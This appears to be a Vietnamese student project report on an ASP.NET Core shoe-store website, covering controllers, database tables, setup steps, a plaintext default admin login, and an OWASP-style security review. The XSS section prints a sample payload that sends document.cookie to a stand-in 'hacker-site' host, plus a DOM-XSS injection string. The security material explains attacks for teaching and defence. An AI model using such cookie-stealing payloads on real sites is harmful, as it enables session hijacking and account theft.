Trả về View thông tin khi đa xóa

2.4.2.2 Bảng mô tả các phương thức trong lớp [BrandsController]

Mục đích chính của phương thức trong chương trình

Input Output Ma giả Tên file có gọi sử dụng phương thức. Liệt kê số dòng vị trí gọi.

1 Index Trả về View danh sách nhan hàng

Trả về 1 View danh sách

2 PostCreate Thực hiện với databse thêm thông tin nhan hàng

Trả về View thông tin chỉnh sửa

3 Edit Thực hiện hiện thị ra thông tin cần chỉnh sửa string id

Trả về làView thông tin cần chỉnh sửa

4 PostEdit Thực hiện chỉnh sửa thông tin lưu vào database int ? id, Brand s brach

Trả về View thông tin đa chỉnh sửa

5 Delete Thực hiển hiển thị thông tin cần xóa int ?id Trả về 1

View thông tin cần xóa

6 PostDelete Thực hiện với database xóa thông tin int ?id Trả về

View thông tin sau khi xóa

7 Details Hiển thị chi tiết thông tin

Int ?id Trả về là

View thông tin chi tiết

2.4.2.3 Bảng mô tả các phương thức trong lớp [OrderController]

Mục đích chính của phương thức trong chương trình

Input Output Ma giả Tên file có gọi sử dụng phương thức. Liệt kê số dòng vị trí gọi.

1 Index Trả về View danh sách hóa đơn

OrderControll er dòng 154,200 sách OrderDetails

2 ExxportPDF Thực hiện với export ra file pdf

3 Edit Thực hiện hiện thị ra thông tin cần chỉnh sửa int ?id Trả về là View danh sách chi tiết hóa đơn của hóa đơn cần chỉnh sửa

4 PostEdit Thực hiện chỉnh sửa thông tin lưu vào database int ?id, OrderD etailsV iewMo del ojOrde rView Model

Trả về View thông tin đa chỉnh sửa

5 Delete Thực hiển hiển thị thông tin cần xóa int ?id Trả về là View danh sách chi tiết hóa đơn của hóa đơn

6 DeleteComfir Thực hiện với int id Trả về med database xóa thông tin

View thông tin sau khi xóa

7 Details Hiển thị chi tiết thông tin int ?id Trả về là View thông tin chi tiết

2.4.2.4 Bảng mô tả các phương thức trong lớp [OrderDetailsController]

Mục đích chính của phương thức trong chương trình

Input Output Ma giả Tên file có gọi sử dụng phương thức Liệt kê số dòng vị trí gọi.

1 Edit Thực hiện hiện thị ra thông tin cần chỉnh sửa int?

2 PostEdit Thực hiện chỉnh sửa thông tin lưu vào database int id, OrderD etail orderD etai

Trả về 1 View danh sách

3 Delete Thực hiện hiện thị ra thông tin xóa int?

Trả về là View danh sách chi d tiết hóa đơn của hóa đơn

Thực hiện với database xóa thông tin int ShoesI d, int OrderI d

Trả về View thông tin đa thực hiện việc xóa

5 Details Hiển thị chi tiết thông tin int ?id Trả về là View danh sách chi tiết hóa đơn của hóa đơn

2.4.2.5 Bảng mô tả các phương thức trong lớp [ProvidersController]

Mục đích chính của phương thức trong chương trình

Input Output Ma giả Tên file có gọi sử dụng phương thức Liệt kê số dòng vị trí gọi.

1 Index Trả về View danh sách nhà cung cấp

2 PostCreate Thực hiện với databse thêm thông tin nhà

Trả vềView thông cung cấp r tin đa được thêm

3 Edit Thực hiện hiện thị ra thông tin cần chỉnh sửa int? id Trả về là View thông tin cần chỉnh sửa

4 PostEdit Thực hiện chỉnh sửa thông tin lưu vào database int? id, Provid ers provide r

Trả về là View thông tin đa chỉnh sửa

5 Delete Thực hiển hiển thị thông tin cần xóa int ?id Trả về là 1 View thông tin cần xóa

6 PostDelete Thực hiện với database xóa thông tin int ?id Trả về là 1 View thông tin sau khi xóa

7 Details Hiển thị chi tiết thông tin

Int ?id Trả về là 1 View thông tin chi tiết

2.4.2.6 Bảng mô tả các phương thức trong lớp [ProviderShoesController]

Mục đích chính của phương thức trong chương trình

Input Output Ma giả Tên file có gọi sử dụng phương thức Liệt kê số dòng vị trí gọi.

1 Index Trả về View danh sách nhà cung cấp loại giày

Trả về là 1 View danh sách

2 PostCreate Thực hiện với databse thêm thông tin nhà cung cấp

Trả về View thông tin đa được thêm

3 Edit Thực hiện hiện thị ra thông tin cần chỉnh sửa int ? Provid erID, int ? ShoesI D

Trả về là View thông tin cần chỉnh sửa

4 PostEdit Thực hiện chỉnh sửa thông tin lưu vào database int Provid erID,in t ShoesI D

Trả vềView thông tin đa chỉnh sửa

5 Delete Thực hiển hiển thị thông tin nhà cung cấp của từng loại giày cần xóa int?

Trả về 1 View thông tin cần xóa

Thực hiện với database xóa thông tin int Provid erID, int ShoesI D

Trả về View thông tin sau khi xóa

7 Details Hiển thị chi tiết thông tin int?

Trả về là View thông tin chi tiết

2.4.2.6 Bảng mô tả các phương thức trong lớp [ShoesController]

Mục đích chính của phương thức trong chương trình

Input Output Ma giả Tên file có gọi sử dụng phương thức Liệt kê số dòng vị trí gọi.

1 Index Trả về View danh sách giày có trong database

Trả về là 1 View danh sách

2 CreatePost Thực hiện với databse thêm thông tin nhà cung cấp

Trả về View thông tin đa được thêm

3 Edit Thực hiện hiện thị ra thông tin cần chỉnh sửa int? id Trả về là View thông tin cần chỉnh sửa

4 PostEdit Thực hiện chỉnh sửa thông tin lưu vào database int id Trả về

View thông tin đa chỉnh sửa

5 Delete Thực hiển hiển thị thông tin nhà cung cấp của từng loại giày cần xóa int? id Trả về 1

View thông tin cần xóa

Thực hiện với database xóa thông tin int id Trả về

View thông tin sau khi xóa

7 Details Hiển thị chi tiết thông tin giày int? id Trả về là View thông tin chi tiết

2.4.2.7 Bảng mô tả các phương thức trong lớp [ShoesTypeController]

Mục đích chính của phương thức trong chương trình

Input Output Ma giả Tên file có gọi sử dụng phương thức Liệt kê số dòng vị trí gọi.

1 Index Trả về View danh sách loại giày có trong database

Trả về là 1 View danh sách

2 CreatePost Thực hiện với databse thêm thông tin nhà cung cấp

Trả về View thông tin đa được thêm

3 Edit Thực hiện hiện thị ra thông tin cần chỉnh sửa int? id Trả về là View thông tin cần chỉnh sửa

4 PostEdit Thực hiện chỉnh sửa thông tin lưu vào database int id, ShoeT ypes shoeTy pes

Trả vềView thông tin đa chỉnh sửa

5 Delete Thực hiển hiển thị thông tin nhà cung cấp của từng loại giày cần xóa int? id Trả về 1

View thông tin cần xóa

6 PostDelete Thực hiện với database xóa thông tin int id Trả về

View thông tin sau khi xóa

7 Details Hiển thị chi tiết thông tin loại giày int? id Trả về là View thông tin chi tiết

Thiết kế CSDL 54

Bảng mô tả các bảng trong CSDL :

Tên bảng Mục đích của bảng trong chương trình

1 Providers Chứa thông tin của nhà cung cấp bao gồm địa chỉ, Id, tên nhà cung cấp

2 ProviderShoes Là bảng được sinh ra từ mối quan hê pnhiều nhiều giữa nhà cung cấp và giày chứa ma nhà cung cấp và ma giày

3 Brands Chứa thông tin của hang giày bao gồm Id, tên hang và quốc gia của hang giày

4 ShoesTypes Chứa thông tin của loại giày bao gồm Id, tên loại giày

5 Shoes Chứa thông tin của giày bao gồm Id, tên giày, màu sắc, giá, kích thước, hình ảnh, tình trạng còn hàng, Id hang giày, id loại giày

Đơn hàng bao gồm các thông tin quan trọng như ID, mã người bán, ngày hẹn, tên khách hàng, số điện thoại, email khách hàng, tình trạng xác nhận, ngày hoàn thành và địa chỉ giao hàng.

7 OrderDetails Chứa thông tin chi tiết của đăt hàng bao gồm ma đơn hàng, ma giày, ngày tới, giá giày.

2.5.2.1 Bảng mô tả các trường trong bảng Providers

STT Thuộc tính Kiểu Miền giá tri Ý nghĩa Ghi chú

1 Id int Khóa chính Ma nhà cung cấp Not null

2 Name nvarchar(MAX) Tên nhà cung cấp Not null

3 Address nvarchar(MAX) Địa chi nhà cung cấp Not null

2.5.2.2 Bảng mô tả các trường trong ProviderShoes

STT Thuộc tính Kiểu Miền giá tri Ý nghĩa Ghi chú

1 ShoesID int Khóa chính Ma giày Not null

2 ProviderID int Khóa chính Ma nhà cung cấp Not null

2.5.2.3 Bảng mô tả các trường trong Brands

STT Thuộc tính Kiểu Miền giá tri Ý nghĩa Ghi chú

1 Id int Khóa chính Ma hang giày Not null

2 Name nvarchar(Max) Tên hang giày Not null

3 Country nvarchar(Max) Quốc gia của hang giày Not null

2.5.2.4 Bảng mô tả các trường trong ShoesTypes

STT Thuộc tính Kiểu Miền giá tri Ý nghĩa Ghi chú

1 Id int Khóa Ma loại giày Not chính null

2 Name nvarchar(MAX) Tên loại giày Not null 2.5.2.5 Bảng mô tả các trường trong Shoes

STT Thuộc tính Kiểu Miền giá tri Ý nghĩa Ghi chú

1 ID int Khóa chính Ma giày Not null

2 Name nvarchar(MAX) Tên giày Not null

3 Color nvarchar(MAX) Màu giày Not null

4 Price Decimal(18,2) Giá giày Not null

5 Size bit Size giày Not null

6 Image nvarchar(MAX) Địa chỉ đường dẫn tới hình đôi giày

7 Available bit Tình trạng còn hàng Not null

8 BrandID int Ma hang giày Not null

9 ShoeTypeID Int Ma loại giày Not null

2.5.2.6 Bảng mô tả các trường trong Orders

Miền giá tri Ý nghĩa Ghi chú

1 Id int Khóa chính Ma đăt hàng Not null

2 SalePersonId int Ma người bán hàng Not null

3 AppointmentDate Datetime2(7) Ngày hẹn Not null

4 CustomerName nvarchar(MAX) Tên khách hàng Not null

5 CustomerPhoneNumber nvarchar(MAX) Số điên thoại khách hàng

6 CustomerEmail nvarchar(MAX) Email khách hàng Allow null

5 isComfirmed bit Tình trạng duyêt Allow null

6 NgayHoanThanh date Ngày hoàn thành yêu cầu

7 address nvarchar(MAX) Địa chỉ khách hàng Allow null

2.5.2.7 Bảng mô tả các trường trong OrderDetails

T Thuộc tính Kiểu Miền giá tri Ý nghĩa Ghi chú

1 Id int Khóa chính Ma chi tiết hóa đơn Not null

4 ArriveDate Datetime2(7) Ngày giao hàng Not null

5 Price Decimal(18,2) Giá Not null

CÀI ĐẶT MÔI TRƯỜNG 59

Cài đặt Visual Studio 2019: 59

- Để phát triển bất kỳ một ứng dụng Web theo nền tảng ASP.Net thì trước tiên cần cài đặt Visual Studio 2019.

- Nếu đa cài đặt Visual Studio 2019 thì có thể bỏ qua bước này

To download the JDK, visit [Visual Studio Downloads](https://visualstudio.microsoft.com/downloads/) There are three versions of Visual Studio 2019 available: Community, Professional, and Enterprise For those seeking a free option, the Community version is recommended.

Community Còn khi có bản quyền cài bản cao hơn.

Sau khi tải thành công ta có file chạy như dưới đây:

Nhấn Double Click vào để file cài đăt thực thi

Tùy vào tốc độ của máy cũng như đường truyền mạng, sau khi tải xong ta se có màn hình như dưới đây:

Tùy vào nhu cầu lập trình mà ta se chọn các gói khác nhau Với chương trình ta cài các phền sau

Sau đó ta bắt đầu bấm Install để cài đặt nha:

Lúc này Microsoft nhờ ta làm khảo sát, bạn “bận” quá thì bấm vào Not Now Sau đó chờ hệ thống cài đặt nha:

Chờ tới khi nào nó xong (tùy vào tốc độ máy):

Visual Studio Enterprise 2019 bản 16.0.0 coi như đa gần xong Lúc này nó se có màn hình dưới đây tự động xuất hiện: bấm Sign In:

Màn hình trên thấy đăng nhập thành công nha Đây là màn hình lúc khởi động Visual Studio 2019:

Khi khởi động xong, ta có màn hình dưới đây (nó khá khác biệt với các version cũ):

Cài đặt SQL Server 2017 67

Bước 1: Truy cập vào trang web của Microsoft để tải phần mềm SQL Server về Bạn nên chọn phiên bản Developer hoặc Express để phục vụ cho việc học của mình.

Bước 2: Hay chạy file SQLServer mà bạn vừa tải về bằng cách double click vào file, nếu

Window hỏi bạn có muốn cài đặt không thì hay chọn YES nhé.

Bước 3: Quá trình cài đặt bắt đầu nên bạn hay chờ trong vài giây, sau đó xuất hiện ô cửa sổ như sau thì bạn hay chọn Basic.

Bước 4: Hệ thống se hiển thị một số thông tin trước khi cài đặt, bạn hay click Accept để đồng ý với nó là đa đọc và hiểu nhé.

Bước 5: chọn ổ đia muốn cài đặt, thường se để ổ đia mặc định là ổ C:\Program

Files\Microsoft SQL Server Click Install để bắt đầu quá trình cài đặt.

Bước 6: Sau khi cài xong bạn se nhận được một giao diện như dưới đây, hay click Install SSMS nhé.

Bước 7: Truy cập vào trang web để tải xuống SQL Server Management Studio 17.8 bằng cách nhấn vào liên kết Download SQL Server Management Studio Phần mềm này cung cấp môi trường tích hợp để quản lý cơ sở hạ tầng SQL Server.

Sau khi tải về bạn hay cài đặt file đó luôn nhé, cách cài đặt rất đơn giản, cứ click Yes và Install.

Như vậy là bạn đa cài xong rồi đấy, bây giờ ta cần học cách thao tác đăng nhập vào để tạo CSDl.

Bạn hay mở chương trình Microsoft SQL Server Management Studio lên bằng cách tìm nó trong mục Start của Windows.

Màn hình se hiển thị chương trình kết nối SQL Server, bạn hay chọn Connect.

Sau khi bạn đăng nhập thành công, giao diện quản lý cơ sở dữ liệu sẽ hiện ra Đây chính là nơi bạn thực hiện các câu lệnh SQL để quản lý dữ liệu của mình.

Chúc mừng bạn đã cài đặt thành công SQL Server 2017 Trong bài viết tiếp theo, chúng ta sẽ khám phá cách viết các câu truy vấn SQL.

CHẠY CHƯƠNG TRÌNH: 73

1 Source code: https://drive.google.com/file/d/1ErvKoHRCxIbSossk6T9tDn2VIWP1rT36/view? usp=sharing

2 Mô tả: Đồ án dùng để xây dựng 1 trang web bán giày

• Ngôn ngữ: C# với asp.net core 2.1

• Môi trường phát triền Microsoft Visual Studio 2017 trở lên.

• Cơ sở dữ liêu: Microsoft SQL server.

• Triển khai theo Code first + mô hình MVC (Model View Controller)

3 Cấu hình để code hoạt động Vào file appsettings.json

Trong file appsettings.json tìm dòng DefautConnecton thay chỗ được tô xanh thành tên Server của bạn.

Xong vào Tool-> NuGet Package Manager-> Package Manager Cosole.

Trong cửa sổ Package Manager Cosole nhập update-database

Kết quả Đăng nhâp tài khoản

Tài khoảng đăng nhặp admin:

Username: admin@gmail.comPassword: Admin123*

BẢNG PHÂN CÔNG CÔNG VIỆC CỦA THÀNH VIÊN

STT Họ tên Phân công công việc

1 Nguyễn Tạ Minh - Access Control Flaws

2 Trịnh Văn Công - Access Control Flaws

CÁC LỖI BẢO MẬT – NGUYÊN NHÂN – GIẢI PHÁP NGĂN CHẶN CŨNG NHƯ CHỈNH SỬA CÁC LỖI XUẤT HIỆN TRONG PROJECT 76

SQL injection: 76

SQL Injection là một lỗ hổng bảo mật trong ứng dụng web, cho phép kẻ tấn công thực hiện các truy vấn SQL nhằm truy cập và lấy thông tin từ cơ sở dữ liệu.

 Các dạng tấn công SQL Injection

- System store procedure (hệ thống thủ tục lưu trữ)

- Illegal/Logically Incorrect Query (Lệnh truy vấn bất hợp pháp hay không đúng logic)

- Tautology (Tấn công bằng mệnh đề luôn đúng)

Lỗi SQL Injection xảy ra khi hệ thống không kiểm soát chặt chẽ các ký tự đặc biệt trong các giá trị đầu vào của thẻ input Điều này tạo điều kiện cho kẻ tấn công tiêm nhiễm các câu lệnh SQL vào hệ thống, dẫn đến nguy cơ bảo mật nghiêm trọng.

Để bảo vệ các câu lệnh SQL và phòng tránh các nguy cơ tiềm ẩn, cần kiểm tra giá trị nhập vào một cách chặt chẽ Việc này bao gồm việc kiểm soát tất cả dữ liệu nhận được từ đối tượng GET và POST, cũng như luôn luôn xác minh các ký tự đặc biệt như dấu nháy đơn (‘).

#,–,/* */ và các từ khóa nhạy cảm như: select, insert, union, delete.

Để đảm bảo an toàn cho hệ quản trị cơ sở dữ liệu, cần thiết lập cơ chế kiểm soát quyền truy cập chặt chẽ cho tài khoản người dùng mà ứng dụng web sử dụng Việc hạn chế quyền truy cập sẽ giảm thiểu thiệt hại trong trường hợp xảy ra sự cố Đồng thời, để phòng tránh các cuộc tấn công SQL Injection, cần loại bỏ thông tin kỹ thuật trong các thông báo lỗi gửi đến người dùng, vì những thông báo này có thể tiết lộ chi tiết kỹ thuật giúp hacker nhận diện điểm yếu của hệ thống.

Sử dụng Entity Framework trong dự án giúp giảm thiểu nguy cơ SQL injection, vì khi cần gọi hàm hay thủ tục, chỉ cần sử dụng các phương thức của Entity Framework mà không phải viết SQL thông thường Hơn nữa, việc áp dụng Entity Framework biến cơ sở dữ liệu thành các đối tượng C# hướng đối tượng, cho phép các Controller thực hiện thao tác với dữ liệu thông qua các lớp đối tượng, nâng cao tính bảo mật và hiệu quả trong quản lý dữ liệu.

Trong kiến trúc ứng dụng, các lớp đối tượng được ánh xạ từ cơ sở dữ liệu (CSDL) nằm trong phần model Khi các Controller nhận yêu cầu từ phía người dùng, chúng sẽ sử dụng các lớp Model để tương tác với CSDL Tuy nhiên, nhờ vào việc áp dụng phương thức xây dựng truy vấn (Model Builder Method) trong Controller, việc tiêm SQL Injection trở nên không khả thi.

 Đối với hình thức tấn công nay nhóm chưa tìm ra được lỗ hổng SQL injection

Broken Authentication 78

Trong một hệ thống, việc bỏ qua xác thực thường xảy ra do nhiều nguyên nhân, chủ yếu là do lỗi logic hoặc cấu hình sai.

Để đảm bảo tính chính xác và đầy đủ của thông tin, mọi dữ liệu mà người dùng chứng thực cần phải được kiểm tra kỹ lưỡng Điều này bao gồm việc nhập và xác minh các giá trị quan trọng một cách bắt buộc.

Dự án yêu cầu mọi thông tin xác thực trên biểu mẫu đăng nhập phải được kiểm tra đầu vào kỹ lưỡng Đặc biệt, nhóm LoginModel cũng thực hiện kiểm tra đầu vào cho tên người dùng và mật khẩu, do đó, để đăng nhập thành công, tất cả thông tin phải chính xác.

• Vấn đề: Khi ta đa đang nhâp vào môt trang web thì trang web se gán cho ta môt

JWT (Json Web Token) được lưu trữ trong cookie trên máy và chứa thông tin xác minh người dùng như tên, username và quyền hạn, nhưng không bao gồm thông tin nhạy cảm như mật khẩu Việc kẻ tấn công có thể lấy được token này và chỉnh sửa nó sẽ gây nguy hiểm cho hệ thống, dẫn đến khả năng chứng thực giả mạo.

• Giải pháp: Sử dụng HTTPS khi truyền tải dữ liêu pháp tạo ra các token không thể làm giả được. cũng như thực hiên các biên

• Project: Do sử dụng IdentityUser và IdentityRole và sử dụng EntityFramework của C# nhằm xác thực nên token được tạo ra ở dạng AspNetCore.Antiforgery và

AspNetCore.Identity.Application Thêm vào đó là trang Web được chạy trên HTTPS nên khó có thể lấy và sửa dụng token.

Hiện nay, chức năng đặt lại mật khẩu có thể bị kẻ tấn công lợi dụng Nhiều trang web lâu đời vẫn sử dụng phương pháp bảo mật thứ hai khi quên mật khẩu là yêu cầu câu hỏi và lưu lại câu trả lời của người dùng Tuy nhiên, những câu trả lời này thường rất đơn giản, khiến kẻ tấn công có thể dễ dàng sử dụng phương pháp brute-force để dò tìm, từ đó làm tăng nguy cơ bị tấn công.

Ngày nay, nhiều trang web áp dụng phương pháp đặt lại mật khẩu thông qua việc gửi email đến một tài khoản mà người dùng đã chỉ định Phương pháp này giúp bảo mật thông tin và đảm bảo rằng chỉ có người dùng hợp lệ mới có thể khôi phục mật khẩu của mình.

• Project: Trong project này chức năng đăt lại nên không thể thực hiên đă t lại.

Nhưn g tên đăng nhâp c ủ a W e b l à k i ể u e m a il n ê n v i ê t n â n g c ấ p m ở r ô n g n h ằ m g ử i mail để đăt lại mât khẩu là có thể làm được.

• Vấn đề: Mức đô p khó giải ma của người dùng chưa cao dẫn đến viêt mât khẩu người dùng thông qua Brute Force dễ dàng đoán

Để đảm bảo an toàn cho thông tin, cần quy định rõ ràng về mức độ mật khẩu yêu cầu, bao gồm độ dài tối thiểu và tối đa, cũng như các ký tự hợp lệ khi đặt mật khẩu.

Trong dự án này, chức năng sử dụng Identyuser của Asp.net yêu cầu mật khẩu của trang web phải có tối thiểu 8 ký tự, bao gồm cả chữ hoa, chữ thường và số.

Sensitive Data Exposure 79

Việc lưu trữ các dữ liệu quan trọng như mật khẩu, tài khoản ngân hàng và thông tin cá nhân mà không được mã hóa hoặc mã hóa bằng các thuật toán đơn giản, lỗi thời có thể dẫn đến nguy cơ bị đánh cắp và giải mã dễ dàng.

Việc truyền dữ liệu mà không ma hóa cũng có thể bị người tấn công dễ dàng lợi dụng và đánh cấp thông tin.

Để bảo vệ dữ liệu và tránh bị đánh cắp, việc sử dụng giao thức HTTPS là rất quan trọng khi truyền thông tin Ngoài ra, không nên lưu trữ các thông tin cá nhân không cần thiết cho chương trình, đồng thời đảm bảo rằng tất cả các thông tin quan trọng đều được mã hóa để tăng cường bảo mật.

Sử dụng các thuật toán, giao thức ma hóa mạnh me và hiện đại để ma hóa các thông tin quan trọng.

Khi người dùng đăng nhập mà yêu cầu gửi dữ liệu bị chặn, thông tin về tên người dùng và mật khẩu vẫn có thể hiển thị Tình huống này tạo ra nguy cơ bảo mật nghiêm trọng cho ứng dụng web.

Trong dự án của chúng tôi, chúng tôi đã nâng cấp lên giao thức HTTPS, đảm bảo an toàn cho việc truyền dữ liệu Về lưu trữ, chúng tôi chỉ giữ lại thông tin cần thiết như tên, tài khoản đăng nhập và mật khẩu, tất cả đều được mã hóa bằng thuật toán của Visual Studio.

XML External Entities (XXE) 80

XML là một ngôn ngữ đánh dấu mở rộng, được sử dụng phổ biến để trao đổi dữ liệu giữa các ứng dụng Hiện nay, nhiều loại tài liệu như rtf, pdf, tệp hình ảnh (svg) và các file cấu hình đều áp dụng định dạng XML.

XXE (XML External Entity) là một lỗ hổng bảo mật web nghiêm trọng, cho phép kẻ tấn công can thiệp vào quá trình xử lý dữ liệu XML của ứng dụng Lỗ hổng này thường dẫn đến việc kẻ tấn công có khả năng xem các tệp trên hệ thống tệp của máy chủ ứng dụng và tương tác với các hệ thống phụ trợ hoặc bên ngoài mà ứng dụng có thể truy cập.

Có nhiều kiểu tấn công XXE khác nhau, bao gồm khai thác XXE để truy xuất tệp, trong đó một thực thể bên ngoài được xác định và nội dung của tệp được trả về trong phản hồi của ứng dụng Ngoài ra, tấn công XXE cũng có thể được sử dụng để thực hiện các cuộc tấn công SSRF, khi một thực thể bên ngoài được xác định dựa trên URL tới hệ thống back-end Một hình thức khác là khai thác XXE để exfiltrate dữ liệu ngoài băng tần, nơi dữ liệu nhạy cảm được truyền từ máy chủ ứng dụng đến hệ thống mà kẻ tấn công kiểm soát Cuối cùng, khai thác XXE có thể diễn ra thông qua việc lấy dữ liệu qua các thông báo lỗi, cho phép kẻ tấn công kích hoạt thông báo lỗi phân tích cú pháp chứa dữ liệu nhạy cảm.

Để khắc phục các vấn đề liên quan đến XML, cần xem xét lại các trình phân tích cú pháp XML và đảm bảo rằng đầu vào XML đã được vệ sinh trước khi xử lý Ngoài ra, cần kiểm tra các thực thể bên ngoài được cho phép Khi có thể, nên sử dụng các định dạng dữ liệu ít phức tạp hơn như JSON và tránh tuần tự hóa dữ liệu nhạy cảm.

Dự án này tập trung vào việc kiểm tra tính đáng tin cậy của các thực thể bên ngoài tại các địa chỉ URL Đồng thời, nó sử dụng NET với trình phân tích cú pháp XML để bảo vệ chống lại lỗ hổng XXE Đặc biệt, dự án vô hiệu hóa hoàn toàn việc sử dụng các lược đồ DTD nội tuyến trong các đối tượng phân tích cú pháp XML.

Broken Access Control: 81

Một trang web cần thiết lập phân quyền rõ ràng giữa các người dùng, ví dụ như người dùng bình thường chỉ có quyền xem thông tin, trong khi quản trị viên (Admin) có quyền xem, sửa và xóa thông tin Khi người dùng lợi dụng các lỗ hổng trong hệ thống phân quyền để thực hiện các chức năng ngoài quyền hạn của họ, điều này tạo ra một mối nguy lớn cho tính bảo mật của trang web.

K hi th ực hi ên các chức năng đa được phân quyền hay các chức năng liên quan đến

Databa se thì cần có bô p lọc nhằm xác nhân khi thực hiê pchức năng đó. quyền người dùng trước

Chúng tôi quản lý vấn đề này trên trang web một cách cẩn thận Mỗi khi người dùng đăng nhập, thông tin của họ được lưu trữ trong phiên làm việc (session) Khi người dùng thực hiện bất kỳ thao tác nào, quyền hạn của họ sẽ được kiểm tra Nếu quyền hạn không đúng, hệ thống sẽ hiển thị thông báo “Access Denied”.

Chức năng "Denied" thông báo rằng quyền truy cập bị từ chối Chỉ khi người dùng có quyền hạn phù hợp, chức năng đó mới hiển thị trên hệ thống; ngược lại, các chức năng khác sẽ vẫn trong suốt với người dùng Nếu người dùng chưa thực hiện đăng nhập, hệ thống sẽ yêu cầu họ đăng nhập để tiếp tục.

[Authorize(Roles SD.SuperAdminEndUser)] public class BrandsController : Controller

{ private readonly ApplicationDbContext _db; public BrandsController(ApplicationDbContext {

Khi cố gắng thực hiên chức năng không có quyền se xuất hiên thông báo

Security Misconfiguration 82

Việc cấu hình bảo mật cho chương trình là rất quan trọng Một chương trình có cấu hình mật định không đủ an toàn, không hoàn thiện, hoặc lưu trữ trên cloud không được bảo mật sẽ tạo cơ hội cho kẻ tấn công Ngoài ra, việc thông báo lỗi cho người dùng kèm theo thông tin quan trọng cũng có thể trở thành điểm yếu mà kẻ tấn công lợi dụng.

 Giải pháp: Kiểm tra việc cấu hình bảo mật cho từng phần của chương trình, kiểm tra quyền lưu trữ, gửi những khuyến cáo bảo mậtcho người dùng.

Nhóm dự án đã hoàn thiện cấu hình bảo mật cho từng phần của hệ thống, đảm bảo rằng tất cả các tin nhắn thông báo gửi đến người dùng đều được kiểm tra kỹ lưỡng để không chứa thông tin bảo mật của hệ thống.

Cross site Scripting(XSS) 83

XSS là một lỗ hổng bảo mật trong ứng dụng web, cho phép kẻ tấn công chèn mã độc thông qua các đoạn script để thực thi trên phía client Các cuộc tấn công XSS thường được sử dụng để vượt qua các biện pháp kiểm soát truy cập và thực hiện các hành vi mạo danh.

Kẻ tấn công sẽ gửi cho nạn nhân một URL chứa mã độc, và chỉ cần nạn nhân nhấp vào liên kết này, kẻ tấn công có thể thực hiện hành vi xấu của mình.

 Người dùng đăng nhập vào trang web, giả sử được gán

Session Set-Cookies: sessionID = kzdomeoipndfgjiodn

 Bằng cách nào đó kẻ tấn công se gửi được cho người dùng URL: http://example.com/name=var+i=new+Image;+i.src=”http://hacker- site.net/”%2bdocument.cookie;

 Trong đó example.com là trang người dùng truy cập, và hacker-site.com là trang kẻ tấn công muốn người dùng đi đên

Khi nạn nhân truy cập vào URL này, đoạn script sẽ được thực thi và server sẽ trả về cho nạn nhân kèm theo dữ liệu từ đoạn script, bao gồm cả phiên làm việc của nạn nhân.

 Đoạn script trên thực chất như sau: var i=new Image; i.src=”http://hacker-site.com/”+document.cookie;

Dòng lệnh trên bản chất thực hiện request đến site của kẻ tấn công với tham số là cookie người dùng

GET /sessId^2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1

Stored XSS xảy ra khi không kiểm tra kỹ đầu vào trước khi lưu trữ vào cơ sở dữ liệu, dẫn đến việc lưu giữ các đoạn script tấn công Khi người dùng truy cập nội dung này, các đoạn script sẽ được thực thi trên trình duyệt của họ Khác với Reflected XSS, chỉ tấn công một đối tượng, Stored XSS có khả năng tấn công nhiều người dùng cùng lúc.

 Đầu tiên hacker se thông qua các điểm đầu vào (form, input, textarea…) không được kiểm tra ky để chèn vào CSDL các đoạn ma nguy hiểm.

Khi người dùng truy cập vào ứng dụng web và thực hiện các thao tác với dữ liệu đã lưu, mã độc của hacker sẽ được thực thi trên trình duyệt của người dùng.

 DOM Based XSS là ky thuật khai thác XSS dựa trên việc thay đổi cấu trúc DOM của tài liệu, cụ thể là HTML.

Một website có URL đến trang đăng ký như sau: http://example.com/register.php?message=Please fill in the form

Attackers can manipulate the parameter "message" in a way that alters the HTML structure of a webpage Instead of the typical prompt "Please fill in the form," they may inject code such as `message=GenderMaleFemalefunction show(){alert();}` This manipulation can significantly change the login form of the victim, leading to potential security vulnerabilities.

• Chỉ chấp nhận những dữ liệu hợp lệ

• Từ chối nhận các dữ liệu hỏng

• Liên tục kiểm tra và lọc dữ liệu

• Tạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ các thẻ , coi đoạn script đó như là đoạn trích dẫn lỗi.

• Lọc dấu nháy đơn hay nháy kép

• Xóa các kí tự “>”, “

Ngày đăng: 23/10/2021, 08:45

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w